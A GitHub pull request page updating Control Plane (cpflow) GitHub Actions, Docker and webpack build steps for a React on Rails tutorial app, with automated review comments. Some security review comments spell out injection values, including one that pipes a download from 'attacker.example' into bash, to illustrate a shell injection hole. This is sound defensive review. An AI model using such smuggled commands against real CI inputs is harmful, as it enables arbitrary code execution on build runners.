[codex] Update cpflow review app guidance#764
Conversation
🚀 Quick Review App CommandsWelcome! Here are the commands you can use in this PR:
|
|
Warning Review limit reached
More reviews will be available in 10 minutes and 6 seconds. Learn how PR review limits work. Your organization has run out of usage credits. Purchase more credits in the billing tab to continue. ⌛ How to resolve this issue?After more reviews become available, a review can be triggered using the We recommend that you space out your commits to avoid hitting the rate limit. 🚦 How do rate limits work?CodeRabbit enforces hourly rate limits for each developer per organization. Our paid plans include higher PR review limits than trial, open-source, and free plans. In all cases, reviews become available again over time. During sustained high-volume PR review activity, CodeRabbit may temporarily slow when the next review becomes available. Please see our Fair Usage Limits Policy for further information. ℹ️ Review info⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Pro Run ID: ⛔ Files ignored due to path filters (1)
📒 Files selected for processing (18)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![cursor[bot]](https://avatars.githubusercontent.com/in/1210556?s=60&v=4){kind=small}
|
+review-app-deploy |
❌ Review App Deployment FailedDeployment failed for PR #764, commit 8b4be0c 🎮 Control Plane Console |
github-actions
Bot
had a problem deploying
to
review/qa-react-webpack-rails-tutorial-764
Review app ready |
github-actions
Bot
temporarily deployed
to
review/qa-react-webpack-rails-tutorial-764
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
🎉 Deploy Complete!Open Review AppDeployment successful for PR #764, commit 7a11703 🎮 Control Plane Console |
github-actions
Bot
temporarily deployed
to
review/qa-react-webpack-rails-tutorial-764
There was a problem hiding this comment.
Cursor Bugbot has reviewed your changes and found 3 potential issues.
Bugbot Autofix is ON. A cloud agent has been kicked off to fix the reported issues.
Reviewed by Cursor Bugbot for commit 7a11703. Configure here.
![claude[bot]](https://avatars.githubusercontent.com/in/1236702?s=60&v=4){kind=small}
| "build:test": "rm -rf public/packs-test && RAILS_ENV=test NODE_ENV=test bin/shakapacker", | ||
| "build:dev": "rm -rf public/packs && RAILS_ENV=development NODE_ENV=development bin/shakapacker", | ||
| "build:test": "rm -rf public/packs-test && yarn res:build && RAILS_ENV=test NODE_ENV=test bundle exec rails react_on_rails:locale && RAILS_ENV=test NODE_ENV=test bundle exec rake react_on_rails:generate_packs && RAILS_ENV=test NODE_ENV=test bin/shakapacker", | ||
| "build:dev": "rm -rf public/packs && yarn res:build && RAILS_ENV=development NODE_ENV=development bundle exec rails react_on_rails:locale && RAILS_ENV=development NODE_ENV=development bin/shakapacker", |
There was a problem hiding this comment.
build:dev is missing react_on_rails:generate_packs
build:test (line above) now runs react_on_rails:generate_packs before shakapacker, and the Dockerfile was updated the same way. But build:dev only adds react_on_rails:locale. If v17 requires generate_packs before webpack (which the other changes imply), direct yarn build:dev calls will produce a broken dev bundle.
| "build:dev": "rm -rf public/packs && yarn res:build && RAILS_ENV=development NODE_ENV=development bundle exec rails react_on_rails:locale && RAILS_ENV=development NODE_ENV=development bin/shakapacker", | |
| "build:dev": "rm -rf public/packs && yarn res:build && RAILS_ENV=development NODE_ENV=development bundle exec rails react_on_rails:locale && RAILS_ENV=development NODE_ENV=development bundle exec rake react_on_rails:generate_packs && RAILS_ENV=development NODE_ENV=development bin/shakapacker", |
| config.build_production_command = | ||
| "yarn res:build && RAILS_ENV=production NODE_ENV=production bin/rails react_on_rails:locale && " \ | ||
| "RAILS_ENV=production NODE_ENV=production bin/shakapacker" |
There was a problem hiding this comment.
build_production_command is missing react_on_rails:generate_packs
The Dockerfile was updated to run bundle exec rake react_on_rails:generate_packs before assets:precompile, and build:test in package.json also runs it. But this production command only adds react_on_rails:locale — generate_packs is absent. All three build paths should be consistent.
Also note that build_test_command (line 11–12) has the same omission compared to the build:test yarn script, which does include generate_packs. Consider whether the initializer's test command should also include it.
| config.build_production_command = | |
| "yarn res:build && RAILS_ENV=production NODE_ENV=production bin/rails react_on_rails:locale && " \ | |
| "RAILS_ENV=production NODE_ENV=production bin/shakapacker" | |
| config.build_production_command = | |
| "yarn res:build && RAILS_ENV=production NODE_ENV=production bin/rails react_on_rails:locale && " \ | |
| "RAILS_ENV=production NODE_ENV=production bin/rails react_on_rails:generate_packs && " \ | |
| "RAILS_ENV=production NODE_ENV=production bin/shakapacker" |
| if [[ -n "${{ inputs.docker_build_extra_args }}" ]]; then | ||
| while IFS= read -r arg; do | ||
| arg="${arg%$'\r'}" | ||
| [[ -n "${arg}" ]] || continue | ||
|
|
||
| if [[ "${arg}" =~ [[:space:]] ]]; then | ||
| echo "docker_build_extra_args entries must be single docker-build tokens. " \ | ||
| "Use key=value forms like --build-arg=FOO=bar." >&2 | ||
| exit 1 | ||
| fi | ||
|
|
||
| docker_build_args+=("${arg}") | ||
| done <<< "${{ inputs.docker_build_extra_args }}" |
There was a problem hiding this comment.
Shell injection risk: template expressions in inline script
${{ inputs.docker_build_extra_args }} is rendered into the script before the shell runs it. GitHub Actions does not shell-escape template values, so a crafted input like "; malicious_command; echo " could escape the here-string context. The same issue applies to ${{ inputs.docker_build_ssh_key }} on line 83.
The GitHub hardening guide recommends routing such values through env: variables instead:
env:
DOCKER_BUILD_EXTRA_ARGS: ${{ inputs.docker_build_extra_args }}
run: |
...
if [[ -n "$DOCKER_BUILD_EXTRA_ARGS" ]]; then
while IFS= read -r arg; do
...
done <<< "$DOCKER_BUILD_EXTRA_ARGS"
fiSince this action is only called from controlled workflows today the practical risk is low, but this pattern prevents future misuse if the action is ever invoked with PR-derived inputs.
| wait_for_service $(echo $REDIS_URL | sed -e 's|redis://||' -e 's|/.*$||') | ||
|
|
||
| echo " -- Finishing entrypoint.sh, executing '$@'" | ||
| echo " -- Finishing entrypoint.sh, executing '$*'" |
There was a problem hiding this comment.
Minor: $* vs $@ in the display message
The actual exec "$@" below is correct. But in a double-quoted string, $* joins all positional parameters with the first character of IFS (usually a space), while $@ expands them as separate words. For a display message they behave identically in normal cases, but $@ is the more precise choice and consistent with the exec below.
| echo " -- Finishing entrypoint.sh, executing '$*'" | |
| echo " -- Finishing entrypoint.sh, executing '$@'" |
| if [[ -z "$TOKEN" ]]; then | ||
| echo "Error: Control Plane token not provided" >&2 | ||
| exit 1 | ||
| fi | ||
|
|
||
| if [[ -z "$ORG" ]]; then | ||
| echo "Error: Control Plane organization not provided" >&2 | ||
| exit 1 | ||
| fi | ||
|
|
There was a problem hiding this comment.
Dead code: both token and org inputs are declared required: true at lines 4 and 8, so GitHub Actions will fail the job before the shell script ever runs if they are absent. These runtime checks add noise without providing any additional safety. They can be removed.
🎉 Deploy Complete!Open Review AppDeployment successful for PR #764, commit 7a11703 🎮 Control Plane Console |
Code ReviewOverviewThis PR modernizes the Control Plane (cpflow) GitHub Actions setup by introducing three reusable composite actions, aligns the asset pipeline with React on Rails 17's What's Good
IssuesMedium1. Token injection risk in 2. Low3. 4. Ruby runtime required in JS build scripts Minor Notes
|
| run: | | ||
| set -euo pipefail | ||
|
|
||
| TOKEN="${{ inputs.token }}" |
There was a problem hiding this comment.
Using ${{ inputs.token }} directly in a run: block text-substitutes the value into the YAML before the shell sees it. If the token ever contains ", $, or backticks the interpolation will corrupt the value or cause unexpected shell behaviour.
Prefer mapping it through env: so the shell receives it as an environment variable:
| TOKEN="${{ inputs.token }}" | |
| - name: Setup Control Plane profile and registry login | |
| shell: bash | |
| env: | |
| TOKEN: ${{ inputs.token }} | |
| ORG: ${{ inputs.org }} | |
| run: | | |
| set -euo pipefail | |
Then remove the two TOKEN=... / ORG=... assignment lines below and use $TOKEN / $ORG directly (they're already in the environment).
|
|
||
| const commonOptions = { | ||
| resolve: { | ||
| // Add .res.js extension for ReScript-compiled modules (modern ReScript convention) |
There was a problem hiding this comment.
Adding client/app to resolve.modules means webpack will look there before node_modules for bare imports. Any file under client/app/ whose name matches an npm package (e.g. a future client/app/react.js, client/app/lodash/index.js) will silently shadow the npm package everywhere in the bundle, which is very hard to debug.
If the goal is to allow absolute-style imports from within client/app (e.g. import Foo from 'components/Foo' instead of '../../components/Foo'), consider instead using a resolve.alias for a single explicit namespace (e.g. '@app': path.resolve(__dirname, '../../client/app')) so collisions are impossible.
| @@ -72,7 +72,8 @@ RUN SECRET_KEY_BASE=precompile_placeholder bin/rails react_on_rails:locale | |||
| # and /app/client/app are the client assets that are bundled, so not needed once built | |||
| # Helps to have smaller images b/c of smaller Docker Layer Caches and smaller final images | |||
There was a problem hiding this comment.
Minor inconsistency: this step uses bundle exec rake while the very next line uses bin/rails. bin/rails is the project-standard wrapper (it also invokes Bundler) and is consistent with the react_on_rails:locale call above.
| # Helps to have smaller images b/c of smaller Docker Layer Caches and smaller final images | |
| RUN SECRET_KEY_BASE=precompile_placeholder bin/rails react_on_rails:generate_packs && \ |
| "test:client": "yarn jest", | ||
| "build:test": "rm -rf public/packs-test && RAILS_ENV=test NODE_ENV=test bin/shakapacker", | ||
| "build:dev": "rm -rf public/packs && RAILS_ENV=development NODE_ENV=development bin/shakapacker", | ||
| "build:test": "rm -rf public/packs-test && yarn res:build && RAILS_ENV=test NODE_ENV=test bundle exec rails react_on_rails:locale && RAILS_ENV=test NODE_ENV=test bundle exec rake react_on_rails:generate_packs && RAILS_ENV=test NODE_ENV=test bin/shakapacker", |
There was a problem hiding this comment.
build:test (and build:dev below) now shell out to bundle exec rails, which requires Ruby and Bundler to be available. Previously these were pure Node/Yarn scripts.
This means contributors or CI containers that have only Node installed will hit a cryptic failure. Consider either:
- Adding a note to the README / CLAUDE.md that Ruby must be available to run these scripts, or
- Prefixing with a guard:
which bundle > /dev/null 2>&1 || (echo 'Ruby/Bundler required' && exit 1)to surface a clear error.
| # SECRET_KEY_BASE is required for asset precompilation but is not persisted in the image | ||
| RUN SECRET_KEY_BASE=precompile_placeholder yarn res:build && \ | ||
| RUN SECRET_KEY_BASE=precompile_placeholder bundle exec rake react_on_rails:generate_packs && \ | ||
| SECRET_KEY_BASE=precompile_placeholder yarn res:build && \ |
There was a problem hiding this comment.
The build order here (generate_packs → res:build) is reversed compared to both config/initializers/react_on_rails.rb and package.json, where res:build always runs first. If generate_packs creates entry points that reference ReScript-compiled modules (.res.js), running it before res:build will operate on stale or absent output. The ordering should be consistent across all build surfaces.
| SECRET_KEY_BASE=precompile_placeholder yarn res:build && \ | |
| RUN SECRET_KEY_BASE=precompile_placeholder yarn res:build && \ | |
| SECRET_KEY_BASE=precompile_placeholder bundle exec rake react_on_rails:generate_packs && \ | |
| SECRET_KEY_BASE=precompile_placeholder bin/rails assets:precompile && \ | |
| rm -rf /app/lib/bs /app/client/app |
| run: | | ||
| set -euo pipefail | ||
|
|
||
| TOKEN="${{ inputs.token }}" | ||
| ORG="${{ inputs.org }}" |
There was a problem hiding this comment.
TOKEN and ORG are set via direct ${{ inputs.* }} interpolation inside the shell script, which is a script injection vector — if either input contains shell metacharacters, they execute in context. The sibling cpflow-build-docker-image action handles this correctly by passing all inputs through the env: block and only referencing them as $VAR in the script body. Apply the same pattern here:
| run: | | |
| set -euo pipefail | |
| TOKEN="${{ inputs.token }}" | |
| ORG="${{ inputs.org }}" | |
| env: | |
| TOKEN: ${{ inputs.token }} | |
| ORG: ${{ inputs.org }} | |
| run: | | |
| set -euo pipefail |
Then replace the inline TOKEN=... / ORG=... assignments with plain $TOKEN / $ORG references.
✅ Review App DeletedReview app for PR #764 is deleted |
| resolve: { | ||
| // Add .res.js extension for ReScript-compiled modules (modern ReScript convention) | ||
| extensions: ['.css', '.ts', '.tsx', '.res.js'], | ||
| modules: [path.resolve(__dirname, '../../client/app'), 'node_modules'], |
There was a problem hiding this comment.
Adding client/app to resolve.modules enables bare imports like import 'bundles/comments/...', but has two downsides worth considering:
- Silent shadowing — any directory under
client/app(e.g.,react,path,lodash) will shadow an npm package of the same name, producing a confusing resolution failure rather than the expected dependency. - Discovery — imports look like package references but resolve locally; a reader unfamiliar with this config will not know where to look.
resolve.alias is a safer alternative that makes the mapping explicit without touching the module search path:
alias: {
app: path.resolve(__dirname, '../../client/app'),
},Then imports become import Foo from 'app/bundles/...', which is unambiguous.
Greptile SummaryThis PR aligns the tutorial with cpflow 5.1.1 and React on Rails 17.0.0-rc.1 by introducing three new reusable GitHub composite actions (setup, Docker build with optional SSH, guarded review-app delete) and refreshing build pipelines to explicitly run
Confidence Score: 3/5The new cpflow-setup-environment action should have its inputs moved to env: before these actions are wired into production workflows; everything else in the PR is sound. The setup action passes token, org, and version strings directly into shell run: blocks via template expressions rather than env: variables. Any caller that supplies a user-influenced or malformed version input would execute arbitrary shell commands in the CI runner. The sibling build action in this same PR already uses the correct env: pattern, so the fix is clear and isolated. .github/actions/cpflow-setup-environment/action.yml needs the input injection fix; .controlplane/Dockerfile and config/webpack/commonWebpackConfig.js warrant a second look for the build-order and module-shadowing concerns.
|
| Filename | Overview |
|---|---|
| .github/actions/cpflow-setup-environment/action.yml | New composite action; version inputs interpolated directly into shell without env: block, creating shell injection vector |
| .github/actions/cpflow-build-docker-image/action.yml | New composite action for Docker builds; correctly uses env: for all inputs and validates extra build args |
| .github/actions/cpflow-delete-control-plane-app/action.yml | New composite action; delegates to delete-app.sh via env: variables with prefix guard |
| .github/actions/cpflow-delete-control-plane-app/delete-app.sh | Guards deletion with prefix check and handles cpflow exit codes; exit code 3 semantics undocumented |
| .controlplane/Dockerfile | Adds generate_packs before res:build, opposite of every other build path in the PR |
| config/webpack/commonWebpackConfig.js | Adds client/app before node_modules in modules array; could silently shadow npm packages |
| config/initializers/react_on_rails.rb | Build commands now explicitly run locale and generate_packs before shakapacker in correct order |
| package.json | build:test and build:dev prepend res:build, locale, and generate_packs; lint gains generated-file ignore patterns |
| .controlplane/templates/org.yml | Comment-only update clarifying cpflow 5.1.1 shared_secret_grants terminology |
| Gemfile.lock | Minor patch-level gem bumps: console, json, websocket-driver |
Reviews (1): Last reviewed commit: "Merge master and address review fixes" | Re-trigger Greptile
![greptile-apps[bot]](https://avatars.githubusercontent.com/in/867647?s=60&v=4){kind=small}
| sudo npm install -g @controlplane/cli@${{ inputs.cpln_cli_version }} | ||
| cpln --version | ||
|
|
||
| gem install cpflow -v ${{ inputs.cpflow_version }} |
There was a problem hiding this comment.
${{ inputs.cpln_cli_version }} and ${{ inputs.cpflow_version }} are substituted by GitHub Actions before the shell sees the script, so any whitespace or shell metacharacters in the values are executed verbatim. A caller passing cpln_cli_version: "3.3.1 && curl attacker.example | bash" would run arbitrary code. The sibling cpflow-build-docker-image/action.yml correctly uses an env: block for all its inputs — the same pattern should be applied here. Move all four inputs (token, org, cpln_cli_version, cpflow_version) to env: entries on their respective steps and reference them as $VAR_NAME in the shell.
| RUN SECRET_KEY_BASE=precompile_placeholder bundle exec rake react_on_rails:generate_packs && \ | ||
| SECRET_KEY_BASE=precompile_placeholder yarn res:build && \ | ||
| SECRET_KEY_BASE=precompile_placeholder bin/rails assets:precompile && \ | ||
| rm -rf /app/lib/bs /app/client/app |
There was a problem hiding this comment.
generate_packs runs before res:build, opposite order to every other build path
Every other invocation in this PR (config/initializers/react_on_rails.rb build_test_command/build_production_command, and both package.json build:test/build:dev scripts) runs yarn res:build before react_on_rails:generate_packs. Here the Dockerfile does the reverse. If the pack generator reads or validates any .res.js output — or if future changes add that dependency — the Docker build will silently use stale or absent ReScript artifacts while passing locally. Consider matching the order established by the other build commands, or add a comment explaining why the Docker layer-caching trade-off justifies the inversion.
| resolve: { | ||
| // Add .res.js extension for ReScript-compiled modules (modern ReScript convention) | ||
| extensions: ['.css', '.ts', '.tsx', '.res.js'], | ||
| modules: [path.resolve(__dirname, '../../client/app'), 'node_modules'], |
There was a problem hiding this comment.
client/app placed before node_modules in modules array shadows npm packages
Webpack resolves bare specifiers by walking modules in order, so any directory or file under client/app whose name matches an npm package name will silently win over the npm package. For example, a file at client/app/react.js or client/app/lodash/index.js would shadow those packages for the entire bundle. If the intent is only to allow absolute imports from client/app (e.g. import Foo from 'components/Foo'), a safer alternative is to add a paths alias that only covers known namespaces rather than prepending an entire directory to module resolution.
Code Review — PR #764Overview This PR introduces three GitHub composite actions for Control Plane CI ( Positives
Issues (see inline comments)
Minor observations
|
1 participant
Summary
5.1.117.0.0-rc.1Validation
ruby -S cpflow --version.github/workflows/cpflow-*.ymland.controlplane/controlplane.ymlgit diff --checkactionlint .github/workflows/cpflow-*.ymlwas run and only reported existing shellcheck style/info findingsNotes
Note
Medium Risk
Changes production Docker precompile and CI build order for assets; mis-ordering could break deploys, but scope is mostly tooling and build pipeline rather than runtime app logic.
Overview
Adds reusable GitHub composite actions for Control Plane (
cpflow-setup-environment,cpflow-build-docker-imagewith optional SSH for private deps,cpflow-delete-control-plane-appwith review-app prefix guard) and refreshes.controlplane/templates/org.ymlcomments for cpflow 5.1.1 app-secret vs shared-secret terminology. README now points at the sharedcpflow-*Actions flow for review apps, staging, and production.Aligns the React on Rails 17 asset pipeline:
react_on_rails:generate_packsruns before ReScript/Shakapacker in the Dockerfile,config/initializers/react_on_rails.rbbuild commands, andpackage.jsonbuild:dev/build:test; ESLint ignores generated packs/locale output. Webpack addsclient/apptoresolve.modules. Several client entry/components gain'use client'(and minor style/format tweaks) for RSC boundaries.Gemfile.lock picks up minor transitive bumps (
console,json,websocket-driver).Reviewed by Cursor Bugbot for commit 2939b02. Bugbot is set up for automated code reviews on this repo. Configure here.